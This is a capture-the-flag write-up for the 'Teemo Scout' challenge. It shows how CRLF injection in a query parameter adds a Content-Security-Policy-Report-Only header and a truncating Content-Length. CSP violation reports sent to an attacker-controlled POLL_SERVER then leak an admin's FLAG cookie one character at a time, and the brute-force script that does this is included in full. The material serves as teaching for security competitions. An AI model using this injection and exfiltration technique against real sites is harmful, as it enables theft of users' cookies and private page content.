if __name__ == "__main__": logging.basicConfig(level=logging.INFO) port = 9192 logging.info(f"Teemo Scout server listening on {port}") HTTPServer(("0.0.0.0", port), TeemoScoutHandler).serve_forever()
So our primary target is pretty straight forward, the cookie of admin is embbeded in content replacing the <flag> and our content data is placed right in the system version and <replaceme> section
Set the flag content
1 2 3
cookies = SimpleCookie(self.headers.get('Cookie', '')) stuff = cookies.get('FLAG', None) body = template.replace("<flag>", stuff.value if stuff else"")
Set content to sys version and <replaceme> section
body = body.replace("<replaceme>", scout_out) self.send_header('Content-Length', str(len(body))) self.end_headers()
Pretty straightforward right? let’s fire up our docker and see the request and response.
As we can see, the CSP policy is highly restrictive, setting most sources to ‘none’. This prevents traditional script injection and rules out straightforward XSS exploitation. So the question becomes: how can we still retrieve the flag under this constraint?
CRLF Injection
In the system version processing, there’s clearly a CRLF Injection, this can be checked by inputting our content with ?content=beefdead%0d%0aAlamak:%20Test123
Next, what can we do with the restrictive CSP? since we can’t attempt an XSS or CSS injection. The description of the challenge give us this:
HINT: Teemo’s CSP scouts are too secure… In fact, they are so safe that sometimes they even report what they saw.
We can take advantage of the report-uri CSP directive to trigger and exfiltrate CSP violation reports to our server.
Initially, I considered using report-sample to leak content that violates style-src, but the flag is located too deep within the response, making this approach insufficient for full extraction.
Instead, we inject a custom Content-Security-Policy-Report-Only header via CRLF injection:
This forces the browser to apply our modified CSP rules, rendering the injected <style> block and triggering a Subresource Integrity (SRI) violation. The violation is then sent to our server as a CSP report:
Since we only need to leak the flag content, we limit the HTTP response payload using a Content-Length header. For testing and to identify the correct offset, I temporarily replaced the <flag> portion with a local placeholder. Fast forward, because we already know that the format is amateursCTF{, we set the content length starts from 528
The main challenge now is that we do not know the server’s Content-Length value, meaning the size of the flag may vary. Because of this, we must first brute-guess the correct Content-Length value before we can proceed with leaking the flag.
The script below automates the process. It is not particularly fast, but it is sufficient to enumerate the correct length and ultimately retrieve the flag.
for i inrange(66,69): for j inrange(0,10): temp = dataLen.format(FLAG_LEN+str(j)) print(FLAG_LEN+str(j)) h = hashlib.sha256(temp.encode("utf-8")).digest() b64 = base64.b64encode(h).decode("utf-8") sha = f"sha256-{quote(b64)}" print(sha) target = f"%0D%0AContent-Length:%20{i}%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20{POLL_SERVER}/?char={j};%0D%0A%0D%0A<style>" info = base64.b64encode(target.encode()).decode() print(f"request with number {j}") resp = requests.get("http://localhost:9192/bot?address="+quote(info)) resp = requests.get(f"{POLL_SERVER}/getFlagIndex") if(str(j) in resp.text): print(f"We got the Length: {FLAG_LEN+str(j)}") FLAG_LEN += str(j) requests.get(f"{POLL_SERVER}/reset") break
FLAG_LEN = int(FLAG_LEN)+1 print(f"Flag Length: {FLAG_LEN}") data = """ Content-Type: text/html; charset=utf-8 Content-Length: {} <html> <head> <title>Teemo Scout</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> </head> <body> <h1>Welcome to the Teemo Scout</h1> <p>Use this service to scout for Teemo's hidden zones.</p> <p>To scout, append <code>?content=your_content_here</code> to the URL.</p> <p>Example: <code>/scout?content=HelloTeemo</code></p> <p>Happy scouting!</p> <p> {}"""
FLAG = "amateursCTF{"
for i inrange(528,540): for j in chars: temp = data.format(FLAG_LEN,FLAG+j) h = hashlib.sha256(temp.encode("utf-8")).digest() b64 = base64.b64encode(h).decode("utf-8") sha = f"sha256-{quote(b64)}" print(sha) target = f"%0D%0AContent-Length:%20{i}%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20{POLL_SERVER}/?char={j};%0D%0A%0D%0A<style>" info = base64.b64encode(target.encode()).decode() print(f"request with char {FLAG+j}") resp = requests.get("http://localhost:9192/bot?address="+quote(info)) resp = requests.get(f"{POLL_SERVER}/getFlagIndex") if(j in resp.text): print(f"We got the flag char: {j}") FLAG += j if j == "}": print(f"Flag Recovered: {FLAG}") exit() requests.get(f"{POLL_SERVER}/reset") break